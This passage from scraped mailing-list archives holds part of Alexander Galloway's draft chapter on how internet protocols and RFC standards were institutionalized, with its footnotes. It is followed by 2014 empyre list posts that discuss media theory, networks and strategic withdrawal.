IETF as  \nInternet-Draft documents. Anyone may submit an Internet-Draft. They are  \nnot standards in any way and should not be cited as such nor  \nimplemented by any vendors. They are works in progress and are subject  \nto review and revision. If they are deemed uninteresting or  \nunnecessary, they simply disappear after their expiration date of six  \nmonths. They are not RFCs and receive no number.\n\tIf an Internet-Draft survives the necessary revisions and is deemed  \nimportant, it is shown to the IESG and nominated for the standards  \ntrack. If the IESG agrees (and the IAB approves), then the  \nspecification is handed off to the RFC Editor and put in the queue for  \nfuture publication. The actual stages in the standards track are:\n\n\n\n1)\n\n Proposed Standard\u0097The formal entry point for all specifications is  \nhere as a Proposed Standard. This is the beginning of the RFC process.  \nThe IESG has authority via the RFC Editor to elevate an Internet-Draft  \nto this level. While no prior real world implementation is required of  \na Proposed Standard, these specifications are generally expected to be  \nfully-formulated and implementable.\n2)\n\n Draft Standard\u0097After specifications have been implemented in at  \nleast two \u0093independent and interoperable\u0094 real world applications they  \ncan be elevated to the level of a Draft Standard. A specification at  \nthe Draft Standard level must be relatively stable and easy to  \nunderstand. While subtle revisions are normal for Draft Standards, no  \nsubstantive changes are expected after this level.\n3)\n\n Standard\u0097Robust specifications with wide implementation and a  \nproven track record are elevated to the level of Standard. They are  \nconsidered to be official Internet Standards and are given a new number  \nin the \u0093STD\u0094 sub-series of the RFCs (but also retain their RFC number).  \nThe total number of Standards is relatively small.\n\n\n\nNot all RFCs are standards. Many RFCs are informational, experimental,  \nhistoric, or even humorous[29] in nature. Furthermore not all RFCs are  \nfull-fledged Standards\u0097they may not be that far along yet.\n\tIn addition to the STD subseries for Internet Standards, there are two  \nother RFC subseries that warrant special attention: the Best Current  \nPractice Documents (BCP) and informational documents known as FYI.\n\tEach new protocol specification is drafted in accordance with RFC  \n1111, \u0093Request for Comments on Request for Comments: Instructions to  \nRFC Authors,\u0094 which specifies guidelines, text formatting and  \notherwise, for drafting all RFCs. Likewise, FYI 1 (RFC 1150) titled  \n\u0093F.Y.I. on F.Y.I.: Introduction to the F.Y.I. Notes\u0094 outlines general  \nformatting issues for the FYI series. Other such memos guide the  \ncomposition of Internet-Drafts, as well as STDs and other documents.  \nUseful information on drafting Internet standards is also found in RFCs  \n2223 and 2360.[30]\n\tThe standards track allows for a high level of due process. Openness,  \ntransparency and fairness are all virtues of the standards track.  \nExtensive public discussion is par for the course.\n\n\n\nSome of the RFCs are extremely important. RFCs 1122 and 1123 outline  \nall the standards that must be followed by any computer that wishes to  \nbe connected to the Internet. Representing \u0093the consensus of a large  \nbody of technical experience and wisdom,\u0094[31] these two documents  \noutline everything from email and transferring files to the basic  \nprotocols like IP that actually move data from one place to another.\n\n\n\n\n\n\n\n\n Other RFCs go into greater technical detail on a single  \ntechnology. Released in September 1981, RFC 791 and RFC 793 are the two  \ncrucial documents in the creation of the Internet protocol suite TCP/IP  \nas we know it today. In the early \u009170s Robert Kahn of DARPA and Vinton  \nCerf of Stanford University teamed up to create a new protocol for the  \nintercommunication of different computer networks. In September 1973  \nthey presented their ideas at the University of Sussex in Brighton and  \nsoon afterwards completed writing the paper \u0093A Protocol for Packet  \nNetwork Intercommunication\u0094 which would be published in 1974 by the  \nIEEE. The RFC Editor Jon Postel and others assisted in the final  \nprotocol design.[32] Eventually this new protocol was split in 1978  \ninto a two-part system consisting of TCP and IP. (As mentioned in  \nearlier chapters TCP is a reliable protocol which is in charge of  \nestablishing connections and making sure packets are delivered, while  \nIP is a connectionless protocol that is only interested in moving  \npackets from one place to another.)\n\n\n\n\n\n\n\n\n One final technology worth mentioning in the context of protocol  \ncreation is the World Wide Web. The Web emerged largely from the  \nefforts of one man, the British computer scientist Tim Berners-Lee.  \nDuring the process of developing the Web, Berners-Lee wrote both the  \nHypertext Transfer Protocol (HTTP) and the Hypertext Markup Language  \n(HTML), which form the core suite of protocols used broadly today by  \nservers and browsers to transmit and display web pages. He also created  \nthe web address, called a Universal Resource Identifier (URI), of which  \ntoday\u0092s \u0093URL\u0094 is a variant, which is a simple, direct way for locating  \nany resource on the Web.\n\n\n\n\n\n\n\n\n Tim Berners-Lee:\n\n\n\nThe art was to define the few basic, common rules of \u0093protocol\u0094 that  \nwould allow one computer to talk to another, in such a way that when  \nall computer everywhere did it, the system would thrive, not break  \ndown. For the Web, those elements were, in decreasing order of  \nimportance, universal resource identifiers (URIs), the Hypertext  \nTransfer Protocol (HTTP), and the Hypertext Markup Language (HTML).\n\n\n\nSo, like other protocol designers, Berners-Lee\u0092s philosophy was to  \ncreate a standard language for interoperation. By adopting his  \nlanguage, the computers would be able to exchange files. He continues:\n\n\n\nWhat was often difficult for people to understand about the design was  \nthat there was nothing else beyond URIs, HTTP, and HTML. There was no  \ncentral computer \u0093controlling\u0094 the Web, no single network on which  \nthese protocols worked, not even an organization anywhere that \u0093ran\u0094  \nthe Web. The Web was not a physical \u0093thing\u0094 that existed in a certain  \n\u0093place.\u0094 It was a \u0093space\u0094 in which information could exist.[33]\n\n\n\nThis is also in line with other protocol scientists\u0092s intentions\u0097that  \nan info-scape exists on the net with no centralized administration or  \ncontrol. (But as I have pointed out, it should not be inferred that a  \nlack of centralized control means a lack of control as such.)\n\tBerners-Lee eventually took his ideas to the IETF and published  \n\u0093Universal Resource Identifiers in WWW\u0094 (RFC 1630) in 1994. This memo  \ndescribes the correct technique for creating and decoding URIs for use  \non the Web. But, Berners-Lee admitted, \u0093the IETF route didn\u0092t seem to  \nbe working.\u0094[34] \t\n\tInstead he established a separate standards group in October 1994  \ncalled the World Wide Web Consortium (W3C). \u0093I wanted the consortium to  \nrun on an open process like the IETF\u0092s,\u0094 Berners-Lee remembers, \u0093but  \none that was quicker and more efficient. [...] Like the IETF, W3C would  \ndevelop open technical specifications. Unlike the IETF, W3C would have  \na small full-time staff to help design and develop the code where  \nnecessary. Like industry consortia, W3C would represent the power and  \nauthority of millions of developers, researchers and users. And like  \nits member research institutions, it would leverage the most recent  \nadvances in information technology.\u0094[35]\n\tThe W3C creates the specifications for Web technologies, and releases  \n\u0093recommendations\u0094 and other technical reports. The design philosophies  \ndriving the W3C are similar to those at the IETF and other standards  \nbodies. They promote a distributed (their word is \u0093decentralized\u0094)  \narchitecture, they promote interoperability in and among different  \nprotocols and different end systems, and so on.\nIn many ways the core protocols of the Internet had their development  \nheyday in the \u009180s. But Web protocols are experiencing explosive growth  \ntoday.\n\tThe growth is due to an evolution of the concept of the Web into what  \nBerners-Lee calls the Semantic Web. In the Semantic Web, information is  \nnot simply interconnected on the Internet using links and graphical  \nmarkup\u0097what he calls \u0093a space in which information could permanently  \nexist and be referred to\u0094[36]--but it is enriched using descriptive  \nprotocols that say what the information actually is.\n\tFor example, the word \u0093Galloway\u0094 is meaningless to a machine. It is  \njust a piece of information that says nothing about what it is or what  \nit means. But wrapped inside a descriptive protocol it can be  \neffectively parsed: \u0093<surname>Galloway</surname>.\u0094 Now the machine  \nknows that Galloway is a surname. The word has been enriched with  \nsemantic value. If one makes the descriptive protocols more complex,  \nthen one is able to say more complex things about information, i.e.  \nthat Galloway is my surname, and my given name is Alexander, and so on.  \nThe Semantic Web is simply the process of adding extra meta-layers on  \ntop of information so that it can be parsed according to its semantic  \nvalue.\n\n\n\n\n\n\n\n\n Why is this significant? Before this, protocol had very little to  \ndo with meaningful information. Protocol does not interface with  \ncontent, with semantic value. It is, as I say above, against  \ninterpretation. But with Berners-Lee comes a new strain of protocol:  \nprotocol that cares about meaning. This is what he means by a Semantic  \nWeb. It is, as he says, \u0093machine-understandable information.\u0094\n\n\n\n\n\n\n\n\n Does the Semantic Web, then, contradict my principle above that  \nprotocol is against interpretation? I\u0092m not so sure. Protocols can  \ncertainly say things about their contents. A checksum does this. A  \nfile-size variable does this. But do they actually know the meaning of  \ntheir contents? So it is a matter of debate as to whether descriptive  \nprotocols actually add intelligence to information, or if they are  \nsimply subjective descriptions (originally written by a human) that  \ncomputers mimic but understand little about. Berners-Lee himself  \nstresses that the Semantic Web is not an artificial intelligence  \nmachine.[37] He calls it \u0093well-defined\u0094 data, not interpreted data\u0097and  \nin reality those are two very different things. I promised in the  \nIntroduction to skip all epistemological questions, and will leave this  \none to be debated by my betters.\n\tAs this survey of protocological institutionalization shows, the  \nprimary source materials for any protocological analysis of Internet  \nstandards are the Request for Comments (RFC) memos. They began  \ncirculation in 1969 with Steve Crocker\u0092s RFC \u0093Host Software\u0094 and have  \ndocumented all developments in protocol since.[38] \u0093It was a modest and  \nentirely forgettable memo,\u0094 Crocker remembers, \u0093but it has significance  \nbecause it was part of a broad initiative whose impact is still with us  \ntoday.\u0094[39]\n\tWhile generally opposed to the center-periphery model of  \ncommunication\u0097what some call the \u0093downstream paradigm\u0094[40]\u0097Internet  \nprotocols describe all manner of computer-mediated communication over  \nnetworks. There are RFCs for transporting messages from one place to  \nanother, and others for making sure it gets there in one piece. There  \nare RFCs for email, for webpages, for news wires, and for graphic  \ndesign.\n\tSome advertise distributed architectures (like IP routing), some  \nhierarchical (like the DNS). Yet they all create the conditions for  \ntechnological innovation based on a goal of standardization and  \norganization. It is a peculiar type of anti-federalism through  \nuniversalism\u0097strange as it sounds\u0097whereby universal techniques are  \nlevied in such a way as ultimately to revert much decision-making back  \nto the local level.\n\tBut during this process many local differences are elided in favor of  \nuniversal consistencies. For example, protocols like HTML were  \nspecifically designed to allow for radical deviation in screen  \nresolution, browser type and so on. And HTML (along with protocol as a  \nwhole) acts as a strict standardizing mechanism that homogenizes these  \ndeviations under the umbrella of a unilateral standard.\n\tIronically, then, the Internet protocols which help engender a  \ndistributed system of organization are themselves underpinned by  \nadistributed, bureaucratic institutions\u0097be they entities like ICANN or  \ntechnologies like DNS.\n\tThus it is an oversight for theorists like Lawrence Lessig, despite  \nhis strengths, to suggest that the origin of Internet communication was  \none of total freedom and lack of control.[41] Instead, it is clear to  \nme that the exact opposite of freedom, that is control, has been the  \noutcome of the last forty years of developments in networked  \ncommunications. The founding principle of the net is control, not  \nfreedom. Control has existed from the beginning.\n\tPerhaps it is a different type of control then we are used to seeing.  \nIt is a type of control based in openness, inclusion, universalism, and  \nflexibility. It is control borne from high degrees of technical  \norganization (protocol), not this or that limitation on individual  \nfreedom or decision making (fascism).\n\tThus it is with complete sincerity that Web inventor Tim Berners-Lee  \nwrites:\n\n\n\nI had (and still have) a dream that the web could be less of a  \ntelevision channel and more of an interactive sea of shared knowledge.  \nI imagine it immersing us as a warm, friendly environment made of the  \nthings we and our friends have seen, heard, believe or have figured  \nout.[42]\n\n\n\nThe irony is, of course, that in order to achieve this social utopia  \ncomputer scientists like Berners-Lee had to develop the most highly  \ncontrolled and extensive mass media yet known. Protocol gives us the  \nability to build a \u0093warm, friendly\u0094 technological space. But it becomes  \nwarm and friendly through technical standardization, agreement,  \norganized implementation, broad (sometimes universal) adoption, and  \ndirected participation.\n\n\n\n\n\n\n\n\n I stated in the introduction that protocol is based on a  \ncontradiction between two opposing machines, one machine that radically  \ndistributes control into autonomous locales, and another that focuses  \ncontrol into rigidly defined hierarchies. This chapter illustrates this  \nreality in full detail. The generative contradiction that lies at the  \nvery heart of protocol is that in order to be politically progressive,  \nprotocol must be partially reactionary.\n\tTo put it another way, in order for protocol to enable radically  \ndistributed communications between autonomous entities, it must employ  \na strategy of universalization, and of homogeneity. It must be  \nanti-diversity. It must promote standardization in order to enable  \nopenness. It must organize peer groups into bureaucracies like the IEFT  \nin order to create free technologies.\n\tTo be sure, the two partners in this delicate two-step often exist in  \nseparate arenas. As protocol pioneer Bob Braden puts it, \u0093There are  \nseveral vital kinds of heterogeneity.\u0094[43] That is to say, one sector  \ncan be standardized while another is heterogeneous. The core Internet  \nprotocols can be highly controlled while the actual administration of  \nthe net can be highly uncontrolled. Or, DNS can be arranged in a strict  \nhierarchy while users\u0092s actual experience of the net can be highly  \ndistributed.\n\tIn short, control in distributed networks is not monolithic. It  \nproceeds in multiple, parallel, contradictory and oftenunpredictable  \nways. It is a complex of interrelated currents and counter-currents.\n\tPerhaps I can term the institutional frameworks mentioned in this  \nchapter a type of tactical standardization, in which certain short term  \ngoals are necessary in order to realize one\u0092s longer term goals.  \nStandardization is the politically reactionary tactic that enables  \nradical openness. Or to give an example of this analogy in technical  \nterms: the Domain Name System, with it\u0092s hierarchical architecture and  \nbureaucratic governance, is the politically reactionary tactic that  \nenables the truly distributed and open architecture of the Internet  \nProtocol. It is, as Barthes put it, our \u0093Operation Margarine.\u0094 And this  \nis the generative contradiction that fuels the net.\n\n------------------------------------------------------------------------\n[1] Jake Feinler, \u009330 Years of RFCs,\u0094 RFC 2555, April 7, 1999.\n\n[2] See Vint Cerf\u0092s memorial to Jon Postel\u0092s life and work in \u0093I  \nRemember IANA,\u0094 RFC 2468, October 1988.\n\n[3] Katie Hafner and Matthew Lyon, Where Wizards Stay up Late: The  \nOrigins of the Internet (New York: Touchstone, 1996), p. 145. For  \nbiographies of two dozen protocol pioneers see Gary Malkin\u0092s \u0093Who\u0092s Who  \nin the Internet: Biographies of IAB, IESG and IRSG Members,\u0094 RFC 1336,  \nFYI 9, May 1992.\n\n[4] Vinton Cerf, personal correspondence, September 23, 2002.\n\n[5] Fred Baker, personal correspondence,\n\n December 12, 2002.\n\n[6] AT&T\u0092s Otis Wilson who is cited in Peter Salus, A Quarter Century  \nof Unix (New York: Addison-Wesley, 1994), p. 59.\n\n[7] Salus, A Quarter Century of Unix, p. 2.\n\n[8] See Dennis Ritchie, \u0093The Development of the C Programming Language\u0094  \nin Thomas Bergin and Richard Gibson, eds., History of Programming  \nLanguages II (New York: ACM, 1996), p. 681.\n\n[9] Bjarne Stroustrup, \u0093Transcript of Presentation\u0094 in Bergin & Gibson,  \np. 761.\n\n[10] S. J. Liebowitz and Stephen E. Margolis, \u0093Path Dependence, Lock-In  \nand History,\u0094 Journal of Law, Economics and Organization, April 1995.\n\n[11] If not VHS then the VCR in general was aided greatly by the porn  \nindustry. David Morton writes that \u0093many industry analysts credited the  \nsales of erotic video tapes as one of the chief factors in the VCR\u0092s  \nearly success. They took the place of adult movie theaters, but also  \ncould be purchased in areas where they were legal and viewed at home.\u0094  \nSee Morton\u0092s A History of Electronic Entertainment since 1945,  \nhttp://www.ieee.org/organizations/history_center/research_guides/ \nentertainment, p. 56.\n\n[12] Douglas Puffert, \u0093Path Dependence in Economic Theory,\u0094  \nhttp://www.vwl.uni-muenchen.de/ls_komlos/pathe.pdf, p. 5.\n\n[13] IEEE 2000 Annual Report (IEEE, 2000), p. 2.\n\n[14] IEEE prefers to avoid associating their standards with  \ntrademarked, commercial, or otherwise proprietary technologies. Hence  \nthe IEEE definition eschews the word \u0093Ethernet\u0094 which is associated  \nwith Xerox PARC where it was named. The 1985 IEEE standard for Ethernet  \nis instead titled \u0093IEEE 802.3 Carrier Sense Multiple Access with  \nCollision Detection (CSMA/CD) Access Method and Physical Layer  \nSpecifications.\u0094\n\n[15] Paul Baran, Electrical Engineer, an oral history conducted in 1999  \nby David Hochfelder, IEEE History Center, Rutgers University, New  \nBrunswick, NJ, USA.\n\n[16] ANSI, \u0093National Standards Strategy for the United States,\u0094  \nhttp://www.ansi.org, emphasis in original.\n\n[17] The name ISO is in fact not an acronym, but derives from a Greek  \nword for \u0093equal.\u0094 This way it avoids the problem of translating the  \norganization\u0092s name into different languages, which would produce  \ndifferent acronyms. The name ISO, then, is a type of semantic standard  \nin itself.\n\n[18] See http://www.iso.ch for more history of the ISO.\n\n[19] The IEFT takes pride in having such an ethos. Jeanette Hofmann  \nwrites: \u0093The IETF has traditionally understood itself as an elite in  \nthe technical development of communication networks. Gestures of  \nsuperiority and a dim view of other standardisation committees are  \nmatched by unmistakable impatience with incompetence in their own  \nranks.\u0094 See \u0093Government Technologies and Techniques of Government:  \nPolitics on the Net,\u0094 http://duplox.wz-berlin.de/final/jeanette.htm\n\n[20] Another important organization to mention is the Internet  \nCorporation for Assigned Names and Numbers (ICANN). ICANN is a  \nnonprofit organization which has control over the Internet\u0092s domain  \nname system. Its Board of Directors has included Vinton Cerf,  \nco-inventor of the Internet Protocol and founder of the Internet  \nSociety, and author Esther Dyson. \u0093It is ICANN\u0092s objective to operate  \nas an open, transparent, and consensus-based body that is broadly  \nrepresentative of the diverse stakeholder communities of the global  \nInternet\u0094 (see \u0093ICANN Fact Sheet,\u0094 http://www.icann.org). Despite this  \nrosy mission statement, ICANN has been the target of intense criticism  \nin recent years. It is for many the central lightning rod for problems  \naround issues of Internet governance. A close look at ICANN is  \nunfortunately outside the scope of this book, but for an excellent  \nexamination of the organization see Milton Mueller\u0092s Ruling the Root  \n(Cambride: MIT, 2002).\n\n[21] http://www.isoc.org.\n\n[22] For a detailed description of the IAB see Brian Carpenter,  \n\u0093Charter of the Internet Architecture Board (IAB),\u0094 RFC 2850, BCP 39,  \nMay 2000.\n\n[23] Gary Malkin, \u0093The Tao of IETF: A Guide for New Attendees of the  \nInternet Engineering Task Force,\u0094 RFC 1718, FYI 17, October 1993.\n\n[24] Paul Hoffman and Scott Bradner, \u0093Defining the IETF,\u0094 RFC 3233, BCP  \n58, February 2002.\n\n[25] This RFC is an interesting one because of the social relations it  \nendorses within the IETF. Liberal, democratic values are the norm.  \n\u0093Intimidation or ad hominem attack\u0094 is to be avoided in IETF debates.\n\n  \nInstead IETFers are encouraged to \u0093think globally\u0094 and treat their  \nfellow colleagues \u0093with respect as persons.\u0094 Somewhat ironically this  \ndocument also specifies that \u0093English is the de facto language of the  \nIETF.\u0094 See Susan Harris, \u0093IETF Guidelines for Conduct,\u0094 RFC 3184, BCP  \n54, October 2001.\n\n[26] For more information on IETF Working Groups see Scott Bradner,  \n\u0093IETF Working Group Guidelines and Procedures,\u0094 RFC 2418, BCP 25,  \nSeptember 1998.\n\n[27] That said, there are protocols that are given the status level of  \n\u0093required\u0094 for certain contexts. For example the Internet Protocol is a  \nrequired protocol for anyone wishing to connect to the Internet. Other  \nprotocols may be give status levels of \u0093recommended\u0094 or \u0093elective\u0094  \ndepending on how necessary they are for implementing a specific  \ntechnology. The \u0093required\u0094 status level should not be confused however  \nwith mandatory standards. These have legal implications and are  \nenforced by regulatory agencies.\n\n[28] Scott Bradner, \"The Internet Standards Process -- Revision 3,\" RFC  \n2026, BCP 9, October 1996.\n\n[29] Most RFCs published on April 1st are suspect. Take for example RFC  \n1149, \"A Standard for the Transmission of IP Datagrams on Avian  \nCarriers\u0094 (David Waitzman, April 1990), which describes how to send IP  \ndatagrams via carrier pigeon, lauding their \u0093intrinsic collision  \navoidance system.\u0094 Thanks to Jonah Brucker-Cohen for first bringing  \nthis RFC to my attention. Brucker-Cohen\n\n himself has devised a new  \nprotocol called \u0093H2O/IP\u0094 for the transmission of IP datagrams using  \nmodulated streams of water. Consider also \u0093The Infinite Monkey Protocol  \nSuite (IMPS)\u0094 described in RFC 2795 (SteQven [sic] Christey, April  \n2000) that describes \u0093a protocol suite which supports an infinite  \nnumber of monkeys that sit at an infinite number of typewriters in  \norder to determine when they have either produced the entire works of  \nWilliam Shakespeare or a good television show.\u0094 Shakespeare would  \nprobably appreciate \u0093SONET to Sonnet Translation\u0094 (April 1994, RFC  \n1605) which uses fourteen line decasyllabic verse to optimize data  \ntransmission over Synchronous Optical Network (SONET). There is also  \nthe self-explanatory \u0093Hyper Text Coffee Pot Control Protocol  \n(HTCPCP/1.0)\u0094 (Larry Masinter, RFC 2324, April 1998), clearly required  \nreading for any under-slept webmaster. Other examples of ridiculous  \ntechnical standards include Eryk Salvaggio\u0092s \u0093Slowest Modem\u0094 which uses  \nthe US Postal Service to send data via diskette at a data transfer rate  \nof only 0.002438095238095238095238 kb/s. He specifies that \u0093[a]ll html  \nlinks on the diskette must be set up as a href=\u0092mailing address\u0092 (where  \n\u0091mailing address\u0092 is, in fact, a mailing address)\u0094 (\u0093Free Art Games #5,  \n6 and 7,\u0094 Rhizome, September 26, 2000), and Cory Arcangel\u0092s \u0093Total  \nAsshole\u0094 file compression system that, in fact, enlarges a file  \nexponentially in size when it is compressed.\n\n[30] See Jon Postel and Joyce Reynolds, \"Instructions to RFC Authors,\"  \nRFC 2223, October 1997, and Gregor Scott, \u0093Guide for Internet Standards  \nWriters,\u0094 RFC 2360, BCP 22, June 1998.\n\n[31] Robert Braden, \u0093Requirements for Internet Hosts -- Communication  \nLayers,\u0094 RFC 1122, STD 3, October 1989.\n\n[32] Milton Mueller, Ruling the Root (Cambridge: MIT, 2002), p. 76.\n\n[33] Tim Berners-Lee, Weaving the Web (New York: HarperCollins, 1999),  \np. 36.\n\n[34] Ibid., p. 71.\n\n[35] Ibid., pp. 92, 94.\n\n[36] Ibid., p. 18.\n\n[37] Tim Berners-Lee, \u0093What the Semantic Web can represent,\u0094  \nhttp://www.w3.org/DesignIssues/RDFnot.html.\n\n[38] One should not tie Crocker\u0092s memo to the beginning of protocol per  \nse. That honor should probably go to Paul Baran\u0092s 1964 RAND publication  \n\u0093On Distributed Communications.\u0094 In many ways it serves as the origin  \ntext for the RFCs that would follow. Although it came before the RFCs  \nand was not connected to it in any way, Baran\u0092s memo essentially  \nfulfilled the same function, that is, to outline for Baran\u0092s peers a  \nbroad technological standard for digital communication over networks.\n\n\n\n\n\n\n\n\n\n\n Other RFC-like documents have also been important in the  \ntechnical development of networking. The Internet Experiment Notes  \n(IENs), published from 1977 to 1982 and edited by RFC editor Jon  \nPostel, addressed issues connected to the then-fledgling Internet  \nbefore merging with the RFC series. Vint Cerf also cites the ARPA  \nSatellite System Notes and the PRNET Notes on packet radio (see RFC  \n2555). There exists also the MIL-STD series maintained by the  \nDepartment of Defense. Some of the MIL-STDs overlap with Internet  \nStandards covered in the RFC series.\n\n[39] Steve Crocker, \u009330 Years of RFCs,\u0094 RFC 2555, April 7, 1999.\n\n[40] See Nelson Minar and Marc Hedlund, \u0093A Network of Peers:  \nPeer-to-Peer Models Through the History of the Internet,\u0094 in Andy Oram,  \nEd., Peer-to-Peer: Harnessing the Power of Disruptive Technologies  \n(Sebastopol, CA: O\u0092Reilly, 2001), p. 10.\n\n[41] In his first book, Code and other Laws of Cyberspace (New York:  \nBasic Books, 1999), Lessig sets up a before/after scenario for  \ncyberspace. The \u0093before\u0094 refers to what he calls the \u0093promise of  \nfreedom\u0094 (6). The \u0093after\u0094 is more ominous. Although as yet unfixed,  \nthis future is threatened by \u0093an architecture that perfects control\u0094  \n(6). He continues this before/after narrative in The Future of Ideas:  \nThe Fate of the Commons in a Connected World (New York: Random House,  \n2001) where he assumes that the network, in its nascent form, was what  \nhe calls free, that is, characterized by \u0093an inability to control\u0094  \n(147). Yet \u0093[t]his architecture is now changing\u0094 (239), Lessig claims.  \nWe are about to \u0093embrace an architecture of control\u0094 (268) put in place  \nby new commercial and legal concerns.\n\tLessig\u0092s discourse is always about a process of becoming, not of  \nalways having been. It is certainly correct for him to note that new  \ncapitalistic and juridical mandates are sculpting network  \ncommunications in ugly new ways. But what is lacking from Lessig\u0092s  \nwork, then, is the recognition that control is endemic to all  \ndistributed networks that are governed by protocol. Control was there  \nfrom day one. It was not imported later by the corporations and courts.  \nIn fact distributed networks must establish a system of control, which  \nI call protocol, in order to function properly. In this sense, computer  \nnetworks are and always have been the exact opposite of Lessig\u0092s  \n\u0093inability to control.\u0094\n\n\n\tWhile Lessig and I clearly come to very different conclusions, I  \nattribute this largely to the fact that we have different objects of  \nstudy. His are largely issues of governance and commerce while mine are  \ntechnical and formal issues. My criticism of Lessig is less to deride  \nhis contribution, which is inspiring, than to point out our different  \napproaches.\n\n[42] Cited in Jeremie Miller, \u0093Jabber,\u0094 in Oram, Ed., Peer-to-Peer, p.  \n81.\n\n[43] Bob Braden, personal correspondence, December 25, 2002.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 12 Jan 2003 11:54:34 -0500",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200301131748.h0DHm6H07281 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00052.html",
                "list": "nettime_l",
                "author_name": "Alexander Galloway",
                "subject": "<nettime> Institutionalization of computer protocols (draft chapter)"
            },
            {
                "content-type": "n/a",
                "from": "rferro at cornell.edu",
                "id": "7130",
                "content": "The essence of Edward Snowden's revelations within the political fabric of the states is a fascinating one.  Snowden's activities were initially painted by the US Government and most of the conservative media machinery as criminal even terroristic.  As time has past the possibility of Snowden's heroism has slowly invaded alternative and other communication streams.  Just a few days ago Tim and I received a piece of junk mail that was soliciting money for some political cause and inside the request was a letter \"signed\" by Edward Snowden.  I am not sure that folks here in the US think that the effects of Snowden's leakage is no big deal. Edward Snowden's escapades could not have happened without the help of the network generalization and speed, viral media, our 24 hour news coverage and the effusion that Geert feels is at the crux of understanding media theory today.\n\nMedia theory appears to evolve, to be IN FLUX according to who is writing it, where, and when.  But what Excommunication posits us to do is to imagine the future:\n Alex wrote:\n\"...This book is not about the world \"for us,\" and not the world \"in itself,\" but what Eugene calls \"the world without us.\"\n\n At this rather late hour of the evening I am inspired to reach for the 1997 publication edited by Arthur and Marilouise Kroker,  Digital Delirium.  In the contents I find Geert's interview with Zizek, Alex's writing on fonts and slogans and at the very end of the collection an article by Critical Art Ensemble, \"The Technology of Uselessness\" the last paragraph reads as such:\n\n    \"All things must be subordinated to neutrality-to uselessness.  One major difference between the age of the virtual and the more primitive times is that the contemporary idols have no metaphysical referent. The ones that have been constructed are not the mediating points between person and spirit, or life and afterlife; rather, they are end-points, empty signs...As this mythic narrative continues to play itself out, the suggestions of Authur and Marylouise Kroker begins to make more and more sense.  We are not witnessing the decline of late capital, but instead, its recline into its own delirious death trance. \"\n\nGood Night.  Renate\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140509/d6f22185/attachment.htm>\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-May/007130.html",
                "follow-up": [
                    {
                        "author_name": "Soraya Murray",
                        "from": "semurray at ucsc.edu",
                        "id": "7132",
                        "content": "I am intrigued by this discussion, and would like to acknowledge the posts by Alex Galloway, Geert Lovink and Renate Ferro. Greetings to all of you. \n\nI keep circling back to the notion of strategic withdrawal, alluded to several times in the last few posts, as well as somewhat enigmatically toward the end of Alex's recent lecture here at UC Santa Cruz. For example, from his post: \n\n\"This book is not about the world \u201cfor us,\u201d and not the world \u201cin itself,\u201d but what Eugene calls \u201cthe world without us.\u201d\"\n\nThis, in relation to Geert's recent essay in e-Flux (\"Hermes on the Hudson\"): \n\"\"This leaves us with the question of the mandate and scope of today\u2019s media theory\u2014if there is anything left. Are you ready to hand over the \u201cnew media\u201d remains to the sociologists, museum curators, art historians, and other humanities officials? Can we perhaps stage a more imaginative \u201cact of disappearance\u201d? Are we ready to disguise ourselves amidst the new normality?\"\n\n...and which seemed to betray a similar anxiety around obsolescence of theory -- or a strategy of withdrawal? With respect, is this to be seen as an act of battening down the hatches? Is this disappearance/disguise a radical strategy to shift perspective as a means to generate new possibility? Something conceded, or something new gained?\n\n\n-Soraya\n\n..........................................................................\nSoraya Murray, Ph.D.\nAssistant Professor\nFilm and Digital Media Department\n1156 High Street\nUniversity of California\nSanta Cruz, CA 95064\n\n> \n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140509/0521fddb/attachment.htm>\n",
                        "date": "Sat May 10 03:16:35 EST 2014",
                        "message-id": "7132",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-May/007132.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "author_name": "Alexander R. Galloway",
                                "from": "galloway at nyu.edu",
                                "id": "7133",
                                "content": "Dear Soraya & Co..\n\nI guess part of the impetus is that I'm surprised--if not unnerved--by the way in which networks have captured and eclipsed other ways of thinking. A new pantheon of dot-com philosophers reigns supreme today, ready to proclaim at every turn that \u201ceverything is a network.\u201d Mark Zuckerberg: people are networks. Donald Rumsfeld: the battlefield is a network. Bruno Latour: ontology is a network. Franco Moretti: Hamlet is a network. David Joselit: Art is a network. Guy Debord: the post-capitalist city is a network. John Von Neumann: computation is a network. Konrad Wachsmann: architecture is a network.\n\nLadies and gentlemen, postmodernism is definitively over! We have a new meta-narrative to guide us.\n\nWe might label this a kind of \u201creticular pessimism.\u201d And here I'm taking a cue from the notion of \u201cAfro-pessimism\u201d in critical race theory. Just as Afro-pessimism refers to the trap in which African-American identity is only ever defined via the fetters of its own historical evolution, reticular pessimism claims, in essence, that there is no escape from the fetters of the network. There is no way to think in, through, or beyond networks except in terms of networks themselves. According to reticular pessimism, responses to networked power are only able to be conceived in terms of other network forms. (And thus to fight Google and the NSA we need ecologies, assemblages, or multiplicities.)\n\nBy offering no alternative to the network form, reticular pessimism is deeply cynical because it forecloses any kind of utopian thinking that might entail an alternative to our many pervasive and invasive networks.\n\nThis is part of the mandate of this book, as I see it: to articulate a logic of being that is not reducible to a metaphysics of exchange, to a metaphysics of the network. This to me is the promise of excommunication: the message that says \u201cthere will be no more messages\u201d; a logic of relation, without the tired, old model of exchange.\n\nSo, yes, strategic withdrawal is at the heart of what interests me most. Some are a bit skeptical about this notion of withdrawal -- often because they see in a negative light as alternatively a surrender monkey position (i give up! i'm outta here!), or a position of privilege (the political equivalent of opening a bank account in the Cayman Islands). But I see it very differently. I see it more as a withdrawal from representation. A structural withdrawal. I see it as a way to conceive of a kind of practical utopia in the here and now. \"You don't represent us.\" \"No one is illegal.\" \"I would prefer not to.\" \"We have no demands.\" Yes I realize utopian thinking is very unfashionable today; that's precisely why we need so much more of it. So perhaps less a 